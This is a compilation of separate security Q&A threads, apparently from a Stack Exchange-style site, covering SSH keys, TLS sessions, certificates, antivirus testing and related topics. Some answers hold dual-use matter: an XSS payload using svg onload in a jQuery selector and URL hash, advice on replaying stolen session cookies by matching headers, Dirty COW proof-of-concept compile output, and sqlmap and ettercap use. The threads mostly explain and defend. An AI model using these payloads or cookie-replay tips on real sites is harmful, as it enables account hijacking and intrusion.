How to scan a website using Nessus with login credentials I have scanned my website using Nessus. But I need to scan it as a logged in user since most of the URLs are accessible only if we are logged in. How can I set website login credentials in Nessus?

Nessus has the information posted on their page with a full walk through. http://www.tenable.com/tips/how-to-enable-credentialed-checks-on-windows


Secure design for handling mail attachments I'm fan of split design for web browsing for security reasons - trusted web sites can be accessed via http proxy from pc clients, the rest of web sites via some remote desktop technology from specific servers only residing in dmz.

I'm not sure how to make some good preventive design for mail, especially to be protected against malicious attachments (no, antivirus is not enough). Today a pdf can contain code which while the pdf is printed can hack a printer for example.

What are example designs for some secure mail handling?

Do exist some good documents about this topic?

Scanning is really the best and only option.  You have to grant access to the message in some way shape or form.  For any situation you can propose to access the information, a sufficiently advanced attacker could bypass it.  You could try viewing the message in a virtual machine, but the attacker could include a virus capable of bypassing the hypervisor.  I suppose you could be guaranteed security if you downloaded each message to a fresh computer, disconnected from the Internet, read the message and then nuked the computer from orbit before reading the next message, but this is likely a tad bit excessive.  Short of that, scanning for issues prior to opening it is the best option, possibly using a VM environment to do so as a second level of protection if you really feel it necessary.

The most practical advise is never open anything from an unknown or unexpected sender... ever.


Realistically, how much added security does having a passphrase on a ssh key have? Let's assume ssh key brute force is unrealistic.

It seems to me your greatest vulnerability would be someone gaining access to a client filesystem. If that's the case then key loggers and a host of other nasties are possible, making a passphrase a minor obstacle.

Is key bruteforce actually unrealistic? If key bruteforce is realistic, isn't it reasonable to assume a passphrase is also bruteforcable?

For starters, yes, key bruteforce is unrealistic under normal circumstances. Any properly configured server will not allow you to make billions of guesses at the SSH key. If it does, there are some major problems with the security protocols of the server. All sorts of red lights should be going off from the logs of a production server if there are that many key failures against a single account.

http://blog.codinghorror.com/brute-force-key-attacks-are-for-dummies/
https://askubuntu.com/questions/2271/how-to-harden-an-ssh-server

For nearly all intents and purposes, it is in practice impossible.

Keep in mind that if someone has gained access to a client file system, you are already is very bad shape. However, that does not mean all further security should be abandoned.

For example, in the case of a remote exploit it is very common to gain shell access to a system without gaining full rights. For instance, a remote exploit of the Apache web server will land with a shell... as the server itself (whoami = apache), which isn't always as privileged as you might have hoped.

So in the case of a compromised client machine, you want to make sure that before compromise that machine has every sort of security protection it can to make post compromise life hellish.

There are many ways to compromise a client machine, so it isn't really possible for me to outline all the possible scenarios here but:

Make sure to do everything you can to lock down the machine from physical access. Good hardware management, full disk encryption, good passwords.
Ensure that once the attacker is on the machine the password to everything is neigh impossible to guess
Use a program to generate large, securely generated passwords. Store the passwords in a keystore that is locked when the user is away, and has a very large passphrase itself.
Enforce a policy that your users always full-disk-encrypt their laptops while on the move. This way a stolen laptop is useless to an attacker.
Use client side log auditing software (like ossec) to raise alarms when fishy activity happens on a client machine.
Configure a lockout on SSH key guesses. This will only slow an attacker down, but with a sufficiently good password it is almost a game over for the attack.


Does Dirty COW Affect OSX Kernel? I attempted to compile the POC for Dirty COW on OSX (Disclaimer: not a C programmer). Here is the error:

dirtycow.c: In function ‘procselfmemThread’:
dirtycow.c:64:5: warning: implicit declaration of function ‘lseek’ [-Wimplicit-function-declaration]
     lseek(f,map,SEEK_SET);
     ^~~~~
dirtycow.c:65:8: warning: implicit declaration of function ‘write’ [-Wimplicit-function-declaration]
     c+=write(f,str,strlen(str));
        ^~~~~
dirtycow.c: In function ‘main’:
dirtycow.c:82:3: warning: implicit declaration of function ‘fstat’ [-Wimplicit-function-declaration]
   fstat(f,&st);
   ^~~~~
dirtycow.c:95:3: error: invalid use of undefined type ‘struct stat’
   map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
   ^~~
dirtycow.c: At top level:
dirtycow.c:27:13: error: storage size of ‘st’ isn’t known
 struct stat st;

So the question is, do I have the syntax wrong for C on OSX, or is OSX just not vulnerable to this exploit?

DirtyCow is a linux kernel vulnerability - an error in implementation. MacOS X is BSD based - completely different code base. While in principle there could be a similar vulnerability, it is very unlikely that a Linux based exploit for a Linux based vulnerability would operate on MacOS.


Does the existence of a SHA-1 collision mean any passwords hashed with it are insecure? Given that Google have found a collision for the SHA-1 algorithm, does this imply that any passwords which are hashed using SHA-1 are broken?

(Note that this question is mostly to allow for searches looking for details about the SHA-1 case to return sensible results - see the dupe for the details)

No more than they were already. The method of generating the collision demonstrated requires the ability to modify and insert relatively large volumes of data, in both colliding files. In other words, you can generate a pair of colliding files, but not generate a collision with an arbitrary file, using this specific method. In password terms, this means that unless you used a password supplied by an attacker, which is several kb long, the attacker wouldn't be able to use their own password (also several kb long) to access your account through a hash collision. Obviously, in this case, they could also just use the password they gave you.

However, any passwords which are hashed with SHA-1 should be considered as insecurely stored anyway - modern hardware means that it is possible to try hundreds of thousands of potential passwords, even if salted, per second. Hashing algorithms designed for password storage slow down this testing process massively, which also makes finding potential collisions much slower.


Is IPsec VPN still necessary when already using HTTPS protocol? There are 2 sets of API each hosted in 2 different organisations: my client's organisation and her partner's organisation. The servers from the 2 organisations communicate between each other through the APIs hosted in each organisations.
The APIs are already using HTTPS protocol and authenticated using an API key. For my client's case, her servers are on AWS and I have a firewall to only accept her partner's IP.
Since the APIs are already using HTTPS, I would assume that the data transmitted are already encrypted. However, my client has requested that I use an IPsec VPN between the servers.
I'm not sure if I'm missing something here. Since the data transmitted between my client's server and her partner's server through the APIs are already encrypted through HTTPS, is having IPsec still necessary?

Not for confidentiality, but possibly for access control. Servers that don't need to be publicly accessible are often placed "behind a VPN". This way, they are only reachable by authorised parties.
Whether this improves security is not always clear. A VPN can also have vulnerabilities, so replacing your API authentication endpoint with a VPN authentication endpoint does not seem to make much of a difference.
Perhaps client certificates or IP whitelisting is more suitable in your case.


Why isn't stealing cookies enough to authenticate? I tried to export all my cookies through the 'Edit This Cookie' extension on a logged-in page which uses cookie authentication. While logged out I tried inserting those cookies hoping that I would be logged in, but nothing happened.

After searching I came to know that the cookies sent are in encrypted form. But the page wasn't using any TLS encryption. Am I missing anything?

EDIT: I tried using the same cookies while Logged in i.e exported all the cookies and imported on an incognito window but nothing happened.
Also, this kind of attack doesn't seem to be working on most popular sites like Google, Facebook etc. So how do they protect against such attacks?

Technically, even if the contents in the cookie were to be encrypted, if cookies are properly copied to the new browser and the new browser sends the same HTTP headers (same user agent string, referrer is as expected, computer has same IP address, and all other headers the server could have previously stored and and compare against), the server theoretically wouldn't be able to differentiate between the original browser and the new browser.

I'm assuming that you're trying to copy the cookie(s) from a site that auto-logs you on every time you open your browser and you haven't logged out.

Some sites could use other ways to detect if this is a stolen cookie/session, but it's a losing battle because all those can still be spoofed E.g.:

Check if the IP address changed
Is the User-Agent the same
Check if the referrer makes sense
Any other HTTP headers that the browser sends

To answer your question, you should be able to make it work if you're dealing with an auto-login site and you haven't logged out. Make sure that all the HTTP headers your new browser is sending are the same, that the IP address is the same, the referrer is the expected one, same user agent.

Note that also perhaps the service you're using is using a 2nd cookie that you forgot to copy, and thus creates an anomaly and kicks you out.


Why are keyloggers a problem for password managers? Reading the API definition of SetWindowsHookEx, I see

  Calling the CallNextHookEx function to chain to the next hook procedure is optional, but it is highly recommended; otherwise, other applications that have installed hooks will not receive hook notifications and may behave incorrectly as a result. You should call CallNextHookEx unless you absolutely need to prevent the notification from being seen by other applications.

So a password manager could simply register a hook, not call CallNextHookEx, then type the password and unregister the hook to restore the original behavior.

This technique is not listed in the answer to How easily are keyloggers foiled? or Methods of mitigating threats from keyloggers, so I wonder whether I am missing something obvious.

I don't think you are missing anything obvious.  The other article's question and answers actually focus on stopping the key logger sending messages out of the network.

The technique you're talking about is how an application, which knows it may be a target for a key logger, may stop the key logger getting the information in the first place.


Security with non-expiring sessions Sessions expire differently on different places on the web:

StackOverflow: never expires
Twitter: never expires
Facebook: never expires
Stripe: expires after like 30 min or an hour or so
Some bank websites: expire after 15 minutes of inactivity
Other websites expire after 5 minutes no matter what

Latest practices say to keep requests session-less and to use a JWT that auto-refreshes every 15 minutes or on a new request, using a refresh token. The reason for this is you can blacklist a token quickly if it gets in the wrong hands, and it won't be usable for more than 15 minutes, keeping the attack duration minimal.

The problem is that you don't want to logout a user every 15 minutes, it's a bad UX. StackOverflow and Twitter are great because you're always logged in.

The confusing part is why StackOverflow/Twitter don't do this. It seems like a security risk if you follow along the session-less 15-minute expiration path, or perhaps they are doing something to mitigate the risk.

First up, consider the audience. Obviously the breach of a bank account is going to be more disastrous than stack overflow. It needs to be tailored to the level of data you're processing.

Second up - I'm assuming because you say never expires, you mean the cookie never expires. This by itself isn't a good indicator. Session IDs and such can be regenerated periodically. Actual Session expiry by itself shouldn't be relied upon. PHP for example has a ridiculously complex system of invalidating sessions - More details can be found here: https://solutionfactor.net/blog/2014/02/08/implementing-session-timeout-with-php/

When considering inconvenience, you have to consider security impact in real terms. I hate my bank, it's forever timing out before i'm done.... but due to the content, that's a consideration that needs to be made. If stackoverflow had my session time out half way through a reply i'd never use it again! (yes, i did only register tonight) But stack overflow doesn't store the personal data necessary to have a 15 minute timeout.

Apps are similar. You sign into twitter/facebook and you're signed in (pretty much) for good. They rely on the security of the device itself to "authenticate" you, as well as the fact that it's a device that will never go too far from you. Banks again require constant verification that you are who you say you are.


Snort: Arpspoof preprocessor events not showing up in BASE UI I have followed this guide to install Snort, using Barnyard2, BASE, IIS, and MySql.

My Snort is up & running and loads of events are being logged. After weeding out some false positives, I wanted to test the arpspoof preprocessor.

So I enabled:

preprocessor arpspoof
preprocessor arpspoof_detect_host: 192.168.1.1 58:6d:8f:a0:40:7f
preprocessor arpspoof_detect_host: 192.168.1.3 d4:3d:7e:38:37:4d

And ran an arp attack using ettercap. The problem is that these events do not show up in my winids (and neither in mysql database). It seems to be a similar problem to this one.

Now, Ive checked my barnyard output window, and the ettercap events DO show up there (see screenshot), they are just not shown in the BASE UI. My feeling is thus that it is a formatting issue: the arpspoof preprocessor outputs the events in a format which barnyard cannot log to mySQL OR which is incompatible with the BASE interface. Does anyone have an idea how to solve this?

After some debugging, I've found that the issue is due to the BASE caching code. It looks (among others) for '(spp_%' instead of 'spp_%', which is the correct start of the arpspoof preprocessor signature name. So i changed the part of the query that is created from line 234 in base_cache.inc.php:

  /* Preprocessor events only */
  # The original "(sig_name LIKE '(spp_%')" is too limited. Cf.
  # /usr/local/src/snort-2.8.3.1_unpatched/etc/gen-msg.map
  # /usr/local/src/snort-2.8.3.1_unpatched/src/generators.h
  # Currently I have included all the names that I have found in
  # these files.
  # Note: Do always add '%' in LIKE-statements. Otherwise the entries
  #       won't match.
  if ( $db->baseGetDBversion() >= 100 ) {
    $schema_specific[3] = " ( " .
                          "(sig_name LIKE '(spp_%') OR " .
                          "(sig_name LIKE '(spo_%') OR " .
                          "(sig_name LIKE '(snort_decoder)%') OR " .
                          "(sig_name LIKE '(http_decode)%') OR " .
                          "(sig_name LIKE '(http_inspect)%') OR " .
                          "(sig_name LIKE '(portscan)%') OR " .
                          "(sig_name LIKE '(flow-portscan)%') OR " .
                          "(sig_name LIKE '(frag3)%') OR " .
                          "(sig_name LIKE '(smtp)%') OR " .
                          "(sig_name LIKE '(ftp_pp)%') OR " .
                          "(sig_name LIKE '(telnet_pp)%') OR " .
                          "(sig_name LIKE '(ssh)%') OR " .
                          "(sig_name LIKE '(stream5)%') OR " .
                          "(sig_name LIKE '(dcerpc)%') OR " .
                          "(sig_name LIKE '(dns)%') OR " .
                          "(sig_name LIKE '(ppm)%') OR " .
                          "(sig_name LIKE 'spp_%') OR " .
                          "(sig_name LIKE 'spo_%') OR " .
                          "(sig_name LIKE 'snort_decoder%') OR " .
                          "(sig_name LIKE 'http_decode%') OR " .
                          "(sig_name LIKE 'http_inspect%') OR " .
                          "(sig_name LIKE 'portscan%') OR " .
                          "(sig_name LIKE 'flow-portscan%') OR " .
                          "(sig_name LIKE 'frag3%') OR " .
                          "(sig_name LIKE 'smtp%') OR " .
                          "(sig_name LIKE 'ftp_pp%') OR " .
                          "(sig_name LIKE 'telnet_pp%') OR " .
                          "(sig_name LIKE 'ssh%') OR " .
                          "(sig_name LIKE 'stream5%') OR " .
                          "(sig_name LIKE 'dcerpc%') OR " .
                          "(sig_name LIKE 'dns%') OR " .
                          "(sig_name LIKE 'ppm%') " .
                          " ) ";

And all events are logged now.


Aren't keyfiles defeating the purpose of encryption? I just added a drive to my system which is basically a partition mounted for extra storage. I'd like to encrypt it to protect my data in case of god knows what, and by doing that I'd need to enter the passphrase every time to unlock the partition.

I just read that I can add a keyfile so I wouldn't need to manually unlock it every time, but this is confusing. What is the point of having encryption if it's going to unlock automatically anyway?

If decryption only relies on the keyfile and this keyfile is readily available, there is indeed no significant security benefit in your setup.

What you can do though is store the keyfile on a removable device (e.g. a USB stick) and detach it when you are not around. That way decryption is only possible when you are present and the removable device is attached.

Storing the keyfile locally makes sense if you want to ensure that a removable device can only be decrypted on your system. You can distribute the keyfile to other systems as well if you want to use the encrypted device in different places. If you lose the removable device in transit, little harm is done, because it can only be decrypted on a system that has your keyfile.


How to validate a client certificate My understanding is that when using a client certificate for security one issues a private and public key cert (for example X509) of some sort and sends that of to the consumer of the service that one wants to authorize themselves before consuming.

But what's then the standard way of checking that it's actually a valid client cert they are presenting? Please present the standard workflow here and also the role of the CA in this case.

also wondering what's preventing someone for just exporting the client cert from the client machine and using it somewhere else, is preventing export for the private key safe enough?

From a high level perspective, three things have to happen:

The client has to prove that it is the proper owner of the client certificate.  The web server challenges the client to sign something with its private key, and the web server validates the response with the public key in the certificate.
The certificate has to be validated against its signing authority  This is accomplished by verifying the signature on the certificate with the signing authority's public key.  In addition, certificate revocation lists (CRLs) are checked to ensure the cert hasn't been blacklisted.
The certificate has to contain information which designates it as a valid user of the web service.  The web server is configured to look at specific items in the certificate (typically the subject field) and only allow certain values.


XSS in HTML title tag without forward slash I am trying to find out whether this is vulnerable against XSS: I can control the content of the title tag through the URL. This would make the site vulnerable if it wasn't for the fact that the site only takes the text until the first forward slash appears, making it seemingly impossible to close the title tag. I already tried %2F, but the server appears to convert that to a forward slash and therefore cut the input there. This is possibly mod_rewrite, but without AllowEncodedSlashes.

Example: domain.com/subfolder/myXss</title>bla will lead to ...<title>myXss<</title>

So my question is whether one of these two is possible:

Can i encode a forward slash in some other way?
Can I somehow close the title tag or insert malicious code into the title tag? I can't simply insert script, as nothing else is allowed within the title tag.

Within a HTML5 <title> tag, it is not possible to inject new elements without allowing slashes.

Since your browser's HTML parser is a state machine, you can simply follow the state transitions of the tokenizer (per the HTML syntax specification) and see how far you get.

In your case, a <title> tag in the head section evokes the "generic RCDATA element parsing algorithm".
From the RCDATA state, every opening bracket is ignored unless you're closing the most recently opened tag. So the only continuation that will not be treated as raw text is the literal sequence </title>. And since that string contains a slash, no XSS will be possible. (This behavior is similar to other elements such as <textarea>).

My answer here has a slightly more verbose description of how the tokenizer can help you reason about possible XSS.

  Can i encode a forward slash in some other way?

The HTML parser only accepts a literal / (0x2f). If you're asking how the web application could be tricked into printing a slash, this would be pure speculation as it depends on the web app's implementation.


Android keystore passwords leaked We develop Android applications and by mistake following strings were sent within custom Android project folder to several clients:

keyAlias
keyPassword
storePassword

The .keystore file itself was not published. The keystore was used to sign 1 app that is now on Google Play. What does this mean in terms of security? Do we have to create both new keystore and passwords and maybe re-publish the app that is on market?

As the exposure is only to a few customers, it may be that the risk is low. That said, I'd err on the side of caution and treat the private key as having been compromised. This means revoking the signing certificate and creating a new one. (Applications signed prior to revocation will continue to be valid.)

If you want to take a less cautious route, you can create new passwords for the key and keystore.


How should I block unwanted domain names? I have noticed that someone pointed his domain to my dedicated IP address and now my website can be viewed using his domain name @ example.com . This can hurt my SE Traffic and SEO in many ways. How can I block this domain?

To prevent a negative impact on your SEO you can redirect any incoming content that isn't for your own domain to google to prevent the impression of duplicate content. How this can be done relies on your webserver.

// You can limit the answers of your webserver to a specific domain. It is explained here. You can modify the catchall entry with a redirection like explained here.

To solve this at long sight you should send an abuse Report to the responsibel Registration authority which registered the fake domain(s).

You can also check legal measures if the registrator was that dumb to use his real name.


Signing a browser extension I want to make a browser extension available to users.  Can I sign my extension so that users can verify it is authentic, without needing to trust the web site where they got the extension from nor the security of their network connection?  Which browsers support signed extensions that are easy for users to verify?

Firefox: Yes. Sign your .xpi file using xpisign.py (with a certificate from a trusted issuer, such as Verisign).
Integrity: Firefox will report a corrupt add-on if the hashes do not match.
Verification: The user just needs to see if the add-on installation prompt says "Name of extension (developer name)" instead of "Name of extension (author not verified)"
Chrome: Yes. The .crx file is a zip file preceded by a public key and zip content's signature.
Integrity: Chrome will abort the installation and show CRX_SIGNATURE_VERIFICATION_FAILED if the extension's signature is invalid.
Integrity: (alternative method) Cut the headers from the crx file, and extract the public key and signature. Check if the signature is correct.
Verification: Check if the public key matches with your key.
Opera: The .oex file (=a plain zip file) cannot be signed.
Opera 15+: The .nex or .crx file has the same format as Chromium's .crx file.
Safari: You can only install a Safari extension if it's signed with a key which matches a certificate which is signed by Apple. More info on signing .safariextz  files.
Integrity: Safari refuses to install invalid extensions.
Verification: Extract the certificates from the extension using xar -f path/to/name.safariextz --extract-certs output_dir. Then check if the first certificate (output_dir/cert00) is identical to the developer's certificate (or at least check if the properties (such as the Developer's ID and name) are plausible).
Internet Explorer: The "extensions" are .dll files (BHO, accelerators, ...) which can be signed, using Microsoft's signtool for example.
Verification: Look at the properties of the file, and check if the signature is deemed valid by Windows.
(NPAPI) plug-ins: The plug-in's binaries can be signed.


Having a code-signed binary, how can I tell if it's signed with an Extended Validation (EV) certificate? I can't seem to find an answer to this seemingly simple question. Say, on Windows, if I have a binary file:

How can I tell if it was signed with an extended validation (EV) code-signing certificate?

Say, the file above, being a Windows driver on a 64-bit Windows 10 has to have an EV signature to be able to load. So I can't seem to find anything in its properties that can indicate that it's an EV:

And since the OS can clearly tell the difference between EV and OV cert, how does it know?

The fact that it is an EV certificate appears in the certificate policy attribute that is shown in your image. The certificate policy identifies the rules under which the CA has issued them. In this case, it shows that digicert claims it was expended according to the policies with OIDs 2.16.8401.114412.3.1 and 2.23.140.1.4.1. Each CA assign its own OID to their different policies.

The client has a list of OIDs which it considers to be Extended Validation. Basically, while validating the certificate, it sees if the certificate was issued under a policy  which it has listed on an internal list of policies that it considers to be Extended Validation (additionally, it verifies that the CA that signed such policy is the one that provides such policy).

As for checking it yourself, you could copy the code for deciding if it considers it EV validation from Chromium code, for instance. Although the policies that are considered EV may differ between Chromium and Windows, though.


Is it ok and useful to keep a security audit report after completing an audit? I recently ran a couple of security audits for some friends, and was thinking about doing some more. Before I do though, I wanted to know whether I should keep the audit reports and, if so, how? I understand that it's insecure to keep it, but at the same time, what happens if the client loses the files/report and needs new copies?

It depends on what your friends agreed to.

The fact that you did an audit for them implies that they are alright with you gaining knowledge of their system. Wether or not you are allowed to store that knowledge in some way for a prolonged period of time is something they must agree to explicitly.

You can state how you store the data (e.g. in an encrypted format, with the encryption key escrowed to a trusted third party, perhaps), and how you intend to use it.

However, keep in mind that I am not a lawyer, and if in doubt, you should always consult a lawyer for legal questions. They are much better equipped to talk about the laws in your specific region.

Why would you want to keep the audit report

As for usefulness, it certainly does have its uses. Most importantly, it gives you a quick overview over flaws you have found previously. This allows you to check if these specific flaws have been fixed since the last audit, or if there is still room for improvement.

It can also aid as a guide to see if your customer is heading in the right direction, or if they favor functionality over security - in which case you can definitely add to the audit that things had gotten worse since the last audit.

Keeping the audit in case the customer loses it is not really a valid use-case. Once you sent the customer the audit and they are happy with it, you did your job. It's up to them to keep their files safe, so if they lose it, it's not really your responsibility to provide them a copy. It's similar to how it's not the fault of the grocery store if you drop something in the parking lot and break it. (Of course, it's not unwise to provide them with a copy if they ask for it, but it shouldn't be your primary concern.)


Self-encrypting drives, certification for tamper-protection? Consider a drive with Opal 2.0 support that works with Microsoft Bitlocker's "eDrive" feature. In this case, supposedly, the encryption key never leaves the disk (which might increase security, although the RAM of the machine obviously needs to have the "unlock" code stored somewhere).

Is there a certification that shows the technology has been audited to provide some level of tamper protection? The SSD vendors implement encryption internally because it helps balance out some electric stuff at the physical layer. Might the data encryption key be easily obtained from a chip on the drive? Similar to some TPMs that were "easily" opened and key material extracted?

In the United States, the validation (certification) you looking for in government and some regulated areas is listed in the NIST Validated FIPS 140-1 and FIPS 140-2 Cryptographic Modules list.

Per the FIPS 140-2 standard tamper based requirements start at Level 2.

FIPS 140-2 Security Level 2:

  Security Level 2 enhances the physical security mechanisms of a Security Level 1 cryptographic module by adding the requirement for tamper-evidence, which includes the use of tamper-evident coatings or seals or for pick-resistant locks on removable covers or doors of the module. Tamper-evident coatings or seals are
  placed on a cryptographic module so that the coating or seal must be broken to attain physical access to the plaintext cryptographic keys and critical security parameters (CSPs) within the module. Tamper-evident seals or pick-resistant locks are placed on covers or doors to protect against unauthorized physical access.

and then FIPS 140-2 Security Level 3:

  In addition to the tamper-evident physical security mechanisms required at Security Level 2, Security Level 3 attempts to prevent the intruder from gaining access to CSPs held within the cryptographic module. Physical security mechanisms required at Security Level 3 are intended to have a high probability of detecting and responding to attempts at physical access, use or modification of the cryptographic module. The physical security mechanisms may include the use of strong enclosures and tamper detection/response circuitry that zeroizes all plaintext CSPs when the removable covers/doors of the cryptographic module are
  opened.

and Level 4, the highest:

  Security Level 4 provides the highest level of security defined in this standard. At this security level, the physical security mechanisms provide a complete envelope of protection around the cryptographic module with the intent of detecting and responding to all unauthorized attempts at physical access. Penetration of the cryptographic module enclosure from any direction has a very high probability of being detected, resulting in the immediate zeroization of all plaintext CSPs. Security Level 4 cryptographic modules are useful for operation in physically unprotected environments.

There are some USB keys validated at FIPS 140-2 Overall Level 3; you'll have to check for actual drives, but that's where to look for the U.S.


Is safe to use AES-256 to encrypt data with small variations? I have two nodes that need to communicate, A is sending data to B. We just assume that AES-256 key is already shared across the nodes.

The only data being sent from A to B are a few bytes commanding a light bulb:

Light ON: 08 09 0A 01 [8 byte counter]
Light OFF: 08 09 0A 00 [8 byte counter]

Now, to protect the communication against replay attacks, I have appended that counter which is being incremented with step by 1 every time a command is sent.

The whole packet including the counter is being encrypted with AES-256 using the shared secret key and then it is being send to B.

Is this kind of protocol safe to be used in practice? Assuming that the attacker can see the encrypted traffic and its effect (light ON/OFF), is there any chance that he can generate a new valid command/string given that he don't posses AES key?

Later clarification:

The counter will never be repeated.
A potential bad actor knows everything about my system except private key used to encrypt the string that I am writing on the wires.
Node B will only accept commands only if the counter is incremented in respect to the last one received.
We assume that implementation is ok.
I don't want to append a MAC or a random nonce to the packet. I only want to keep the packet as it is.

I introduce you to Kerckhoffs's principle. A system is only safe if it is safe even if everything is known about the system (except the encryption keys).

If an attacker can see the traffic, knows how you issue commands, and knows that you added a counter, then yes, an attack can issue commands. An attack can simply recreate the commands and guess at the counter value.

So, your answer has nothing to do with AES. Your overall design is prone to unauthorised commands.


SQLMap extracts weird chars in one column I saw this behaviour many times but I never solved it. Sometimes using sqlmap after retrieving good data from columns it fails retrieving only one of them. I can't figure out why this happens for just one of the columns.

This is an output sample:

+-------------+--------------------------------------------------+
| login       | pwdlogin                                         |
+-------------+--------------------------------------------------+
| TEST_USER   | ?\xa4\xd4\xc2??~?\xabccgq                        |
| TEST_USER   | ?\xc7\xd6\xc4???\x8f\xa4?\xa6\xaa\x9d\xb9?\xa5?b |
| TEST_USER   | ?\xc2\xe1\xae?\xa3\xa4?\xa9?t?k}?\xa3            |
| TEST_USER2  | ?\xc2\xda\xc2\xa0?\xa4`idknly?                   |
| TEST_USER3  | ?\xa2\xc1\xa6~y?u\xaa?\xa6                       |
| TEST_USER4  | ?\xa2\xb2\xb4??~?\xab`chj{?\xa5?                 |
| TEST_USER5  | ?\xa2\xb2\xb4??~?\xab`chj{?\xa5?                 |
+----------------------------------------------------------------+

Regards.

Try playing with character encoding options:

--charset=CHARSET


Where do I report a friend's email account that has been hacked? I just received an email from a friend's email account that conforms with the standard hoax where the person says they are traveling, have been robbed, and need money to pay for the hotel bill to get their things released. I'm not sure that my friend would know yet as she is indeed traveling. Should I report this? To who?

Thanks!

The account has probably not been hacked, but the source address is being spoofed.  (That is, the sender has forged your friend's address in the from line.)  The From line in an email header is approximately as trustworthy as the return address on a piece of physical mail: you can technically write anything you want there, regardless of how well it meshes up with reality.

If you really believe your friend's email has been hacked, they should change the password of that email account, and the password of all accounts linked to that email account.  If they can't get back in to the account, they should contact the email provider.


What is meant by "Vulnerable with: css class selector" for JQuery? I'm mostly a beginner in cybersecurity. I came across this the other day about how JQuery 1.3.2 is vulnerable to CSS Selectors and Location Hash (source).

I understand how XSS works and I know what CSS selectors are. But I don't really understand what it meant by Vulnerable with CSS class selector. Like does it mean if whenever a site is using JQuery 1.3.2, is it possible to carry out an XSS attack on it? If so, in what ways would it be possible?

I'll be really thankful if someone can explain how exactly this works in a real-world scenario.

In jQuery you can specify a CSS selector and HTML code with the same shorthand.

This is a selector:

$('#some-thing')

This is HTML that gets evaluated immediately:

$('<svg onload=alert(1)>')

This is a real-life code sample for parsing a selector from the location hash (the URL part after a #):

var x = $('#' + window.location.hash.substr(1));
x.addClass('highlighted').find('div').show();

It's taken from this question and a similar approach is (dangerously) recommended in this SO thread.

See the problem with it? The author's intent was to allow a user-controlled CSS selector, but if you open the affected site as https://example.com/#<svg onload=alert(1)>, you end up with this ambiguous selector:

$('#<svg onload=alert(1)>');

Older versions of jQuery run this as HTML code and thereby create an XSS flaw since the JS event handler would be executed immediately once the DOM node is created. However, newer versions decide that a string which doesn't start with an angle bracket must be parsed as a selector, thereby mitigating the flaw.

From the docs:

  If a string is passed as the parameter to $(), jQuery examines the string to see if it looks like HTML (i.e., it starts with <tag ... >). If not, the string is interpreted as a selector expression, as explained above. But if the string appears to be an HTML snippet, jQuery attempts to create new DOM elements as described by the HTML.

You can read about how this behavior was changed in the discussion to bug #9521.

The page you linked just notes with what kind of selector each version is vulnerable.


Can anyone give me more info on this sketchy url I recently visited, is it an attack site? My girlfriend was browsing images on google when suddenly her browser redirected to this url:

defender-iies.co.cc/scan3/167

The site seemed to be posing as an anti virus, saying your computer is at risk and what not. She immediately closed and reset firefox. I then copied the url from her history into google to check it out and see if i could figure out if her computer might be at risk. I couldn't find anything on the url when searching it in google so, trusting my security software (MSE) I visited the url in firefox. What happened next was quite peculiar. Firefox immediatly minimized into a tiny square in the corner of the screen, the exit button was not available so I quickly stopped firefox with task manager. When attempting to reopen Firefox it opened in the same minimized, unusable way about 3 more time until it went back to normal.

After visiting the url I ran virus scans on both machines and they came back saying no threats where detected. Can anyone shed some light on what might have happened and if there are any precautionary measure I should take? Thanks

So long as you did not download and run the freesystemscan.exe it tries to give you, you should be fine.

I image it would have been more interesting if you were using IE but FF is usually safe enough.  I visited the site in the latest version of chrome and not much interesting happened besides the download.

EDIT:
Looking at the source code.. it looks like it would try to do something interesting if you visited in IE6.
Then there is a bunch of obfuscated JavaScript I don't feel like peeking around in.


How long does an HTTPS symmetric key last As I understand it, HTTPS/SSL/TLS works by EC/DHE/RSA key exchange, providing a shared symmetric key (ie. for AES) that is used for future communications.

How long is this symmetric key kept in use by the major browsers before a new key is negotiated?

The complete picture is the following: the asymmetric cryptography (RSA, DH...) results in a shared secret called the master secret. From the master secret are derived the symmetric keys used for encryption.

The distinction relates to the difference between a connection and a session. When a client opens a connection to a server, the two may engage in a new full handshake, with asymmetric cryptography, which results in a new master secret. OR they could agree to reuse a master secret from a previous connection. This latter case is called an "abbreviated handshake". Different connections which work over the same master secret are called a session, and is identified by a session ID which client and server send to each other in their ClientHello and ServerHello messages. See this answer for details on this process.

When a master secret is reused, i.e. for a new connection within a session, new symmetric keys are derived nonetheless, because the derivation works over both the master secret, AND two random values that the client and server send each other in their initial messages. Therefore, symmetric keys are renewed with each connection, but through derivation from a "master secret" which can be remembered for a long time, and reused for many successive connections.

When a connection is established, the normal situation is that keys are not renewed until the connection end. At any time, as per the protocol specification, the client or the server may request a new handshake, within the connection; the new handshake may or may not be "abbreviated" (an abbreviated handshake occurs only if both parties agree to it), but will anyway result in new symmetric keys (but not necessarily a new master secret).

In practice, this does not happen. An extra in-connection handshake will occur if the server wants to force the client to authenticate with a certificate (this is the common case with IIS: first handshake without client authentication, and when the HTTP request is sent and the server learns the actual target path, it triggers an extra handshake). But it is pretty rare for deployed software to really do new handshakes just for the key renewal. The main reason is that key renewal is not needed for cryptographic robustness: AES uses 128-bit blocks, and not 64-bit blocks, precisely so that keys need not be renewed in practical conditions.

So what occurs (especially in a Web context) is the following:

The symmetric keys for a connection remain unchanged until the end of that connection.
A connection lives as long as client and server allow it; in a Web context, the server will normally close connections which have gone inactive for more than one or two minutes.
Sessions, i.e. master secret values, are remembered by clients and servers and are reused when possible. A typical Web browser will remember SSL sessions until it is closed (as a process, i.e. all windows closed). A typical Web server will remember SSL sessions for some given amount of time, which is configurable (typically 10 minutes to 10 hours or so), also subject to available RAM and a configurable limit (each remembered session will use a couple of kilobytes at most).

The symmetric keys for a connection are kept in RAM only. The master secret will normally be kept in RAM only, but when several front-end servers operate behind a load balancer, they may share the master secrets through various methods, which can even be a database. In such configurations, master secret values may thus be stored to a permanent storage medium (which raises a lot of potential issues, of course).

If you shut down the client system (not just put it to sleep or hibernation, but really shut it down), then it is pretty much guaranteed that all symmetric keys, including the master secret, have disappeared for good from the client machine.


How to test for presense of antivirus? I want to test that when user uploads file, then it goes through up-to-date and properly configured antivirus. I think that to test for it I need some malware that is likely to be detected (it doesn't need to be harmful).

How do I test for antimalware presense, proper configuration and up-to-dateness? Where can I get malware for testing?

While you can do this yourself, I would argue that unless you are a malware researcher there is almost no value in running real malware through your antivirus solution. As @chutz answered, EICAR is useful to trigger A/V if you must but testing for it is almost pointless these days. If you have an AV solution, whether it be standalone or enterprise level, the only useful checks are:

Is it turned on
Is it set to scan on file open
Is it set to scan on file receipt
Is it set to run a full scan on a regular basis
Are the signatures up to date

